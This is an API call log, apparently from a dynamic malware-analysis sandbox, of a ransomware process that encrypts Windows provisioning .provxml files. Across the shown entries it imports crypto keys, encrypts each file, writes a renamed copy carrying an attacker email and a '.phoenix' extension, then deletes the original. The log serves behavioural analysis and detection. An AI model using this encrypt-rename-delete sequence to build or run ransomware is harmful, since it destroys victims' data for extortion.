	[0229.705] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\1__Power_Controls.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\prov\\runtime\\1__power_controls.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0229.706] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151140) returned 1
	[0229.707] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0229.707] ReadFile (in: hFile=0x2d4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x168, lpOverlapped=0x0) returned 1
	[0229.737] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x170, dwBufLen=0x170 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x170) returned 1
	[0229.737] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x170, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x170, lpOverlapped=0x0) returned 1
	[0229.748] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x1512c0) returned 1
	[0229.748] CryptSetKeyParam (hKey=0x1512c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0229.748] CryptEncrypt (in: hKey=0x1512c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x60, dwBufLen=0x60 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x60) returned 1
	[0229.748] CryptDestroyKey (hKey=0x1512c0) returned 1
	[0229.748] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x112, lpOverlapped=0x0) returned 1
	[0229.766] CryptDestroyKey (hKey=0x151140) returned 1
	[0229.766] CloseHandle (hObject=0x2d4) returned 1
	[0229.767] CloseHandle (hObject=0x2f0) returned 1
	[0229.767] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\1__Power_Controls.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\prov\\runtime\\1__power_controls.provxml")) returned 1
	[0229.768] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0229.768] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime\\0__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\prov\\runtime\\0__power_policy.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0229.768] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=935) returned 1
	[0229.768] CloseHandle (hObject=0x2f0) returned 1
	[0229.768] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime\\0__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\prov\\runtime\\0__power_policy.provxml")) returned 0x20
	[0229.768] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime\\0__Power_Policy.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\prov\\runtime\\0__power_policy.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.768] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime\\0__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\prov\\runtime\\0__power_policy.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0229.768] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0229.768] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0229.768] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime\\0__Power_Policy.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\prov\\runtime\\0__power_policy.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0229.769] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151280) returned 1
	[0229.769] CryptSetKeyParam (hKey=0x151280, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0229.769] ReadFile (in: hFile=0x2f0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x3a7, lpOverlapped=0x0) returned 1
	[0229.775] CryptEncrypt (in: hKey=0x151280, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x3b0, dwBufLen=0x3b0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x3b0) returned 1
	[0229.775] WriteFile (in: hFile=0x2d4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x3b0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x3b0, lpOverlapped=0x0) returned 1
	[0229.777] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151700) returned 1
	[0229.777] CryptSetKeyParam (hKey=0x151700, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0229.777] CryptEncrypt (in: hKey=0x151700, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x50, dwBufLen=0x50 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x50) returned 1
	[0229.777] CryptDestroyKey (hKey=0x151700) returned 1
	[0229.777] WriteFile (in: hFile=0x2d4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x102, lpOverlapped=0x0) returned 1
	[0229.777] CryptDestroyKey (hKey=0x151280) returned 1
	[0229.777] CloseHandle (hObject=0x2f0) returned 1
	[0229.777] CloseHandle (hObject=0x2d4) returned 1
	[0229.777] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime\\0__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\prov\\runtime\\0__power_policy.provxml")) returned 1
	[0229.778] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0229.778] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\0__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\prov\\runtime\\0__power_policy.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0229.778] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=1824) returned 1
	[0229.778] CloseHandle (hObject=0x2d4) returned 1
	[0229.778] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\0__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\prov\\runtime\\0__power_policy.provxml")) returned 0x20
	[0229.778] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\0__Power_Policy.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\prov\\runtime\\0__power_policy.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.778] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\0__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\prov\\runtime\\0__power_policy.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0229.779] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0229.779] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0229.779] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\0__Power_Policy.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\prov\\runtime\\0__power_policy.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0230.455] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151080) returned 1
	[0230.455] CryptSetKeyParam (hKey=0x151080, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0230.455] ReadFile (in: hFile=0x2d4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x720, lpOverlapped=0x0) returned 1
	[0230.700] CryptEncrypt (in: hKey=0x151080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x730, dwBufLen=0x730 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x730) returned 1
	[0230.700] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x730, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x730, lpOverlapped=0x0) returned 1
	[0230.909] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x1512c0) returned 1
	[0230.909] CryptSetKeyParam (hKey=0x1512c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0230.910] CryptEncrypt (in: hKey=0x1512c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x50, dwBufLen=0x50 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x50) returned 1
	[0230.910] CryptDestroyKey (hKey=0x1512c0) returned 1
	[0230.910] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x102, lpOverlapped=0x0) returned 1
	[0230.910] CryptDestroyKey (hKey=0x151080) returned 1
	[0230.910] CloseHandle (hObject=0x2d4) returned 1
	[0230.910] CloseHandle (hObject=0x2c0) returned 1
	[0230.913] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\0__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\prov\\runtime\\0__power_policy.provxml")) returned 1
	[0230.914] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0230.914] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\0__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\prov\\runtime\\0__power_policy.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0230.915] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=3308) returned 1
	[0230.915] CloseHandle (hObject=0x2e4) returned 1
	[0230.915] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\0__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\prov\\runtime\\0__power_policy.provxml")) returned 0x20
	[0230.915] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\0__Power_Policy.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\prov\\runtime\\0__power_policy.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.915] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\0__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\prov\\runtime\\0__power_policy.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0230.915] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0230.915] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0230.915] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\0__Power_Policy.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\prov\\runtime\\0__power_policy.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0230.916] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151500) returned 1
	[0230.916] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0230.916] ReadFile (in: hFile=0x2e4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0xcec, lpOverlapped=0x0) returned 1
	[0230.955] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xcf0, dwBufLen=0xcf0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xcf0) returned 1
	[0230.955] WriteFile (in: hFile=0x2f4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0xcf0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0xcf0, lpOverlapped=0x0) returned 1
	[0230.956] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x1516c0) returned 1
	[0230.956] CryptSetKeyParam (hKey=0x1516c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0230.956] CryptEncrypt (in: hKey=0x1516c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x50, dwBufLen=0x50 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x50) returned 1
	[0230.956] CryptDestroyKey (hKey=0x1516c0) returned 1
	[0230.956] WriteFile (in: hFile=0x2f4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x102, lpOverlapped=0x0) returned 1
	[0230.956] CryptDestroyKey (hKey=0x151500) returned 1
	[0230.956] CloseHandle (hObject=0x2e4) returned 1
	[0230.956] CloseHandle (hObject=0x2f4) returned 1
	[0230.978] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\0__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\prov\\runtime\\0__power_policy.provxml")) returned 1
	[0230.979] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0230.979] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\prov\\runtime\\0__power_energyestimationengine.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0230.979] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=463) returned 1
	[0230.979] CloseHandle (hObject=0x2f4) returned 1
	[0230.979] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\prov\\runtime\\0__power_energyestimationengine.provxml")) returned 0x20
	[0230.979] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\prov\\runtime\\0__power_energyestimationengine.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.979] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\prov\\runtime\\0__power_energyestimationengine.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0230.979] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0230.979] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0230.980] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\prov\\runtime\\0__power_energyestimationengine.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0230.980] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151640) returned 1
	[0230.980] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0230.980] ReadFile (in: hFile=0x2f4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x1cf, lpOverlapped=0x0) returned 1
	[0230.981] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x1d0, dwBufLen=0x1d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x1d0) returned 1
	[0230.981] WriteFile (in: hFile=0x2e4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x1d0, lpOverlapped=0x0) returned 1
	[0230.983] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151440) returned 1
	[0230.983] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0230.983] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x70, dwBufLen=0x70 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x70) returned 1
	[0230.983] CryptDestroyKey (hKey=0x151440) returned 1
	[0230.983] WriteFile (in: hFile=0x2e4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x122, lpOverlapped=0x0) returned 1
	[0230.983] CryptDestroyKey (hKey=0x151640) returned 1
	[0230.983] CloseHandle (hObject=0x2f4) returned 1
	[0230.983] CloseHandle (hObject=0x2e4) returned 1
	[0230.983] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\prov\\runtime\\0__power_energyestimationengine.provxml")) returned 1
	[0230.984] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0230.985] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\prov\\runtime\\0__power_energyestimationengine.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0230.985] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=539) returned 1
	[0230.985] CloseHandle (hObject=0x2e4) returned 1
	[0230.985] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\prov\\runtime\\0__power_energyestimationengine.provxml")) returned 0x20
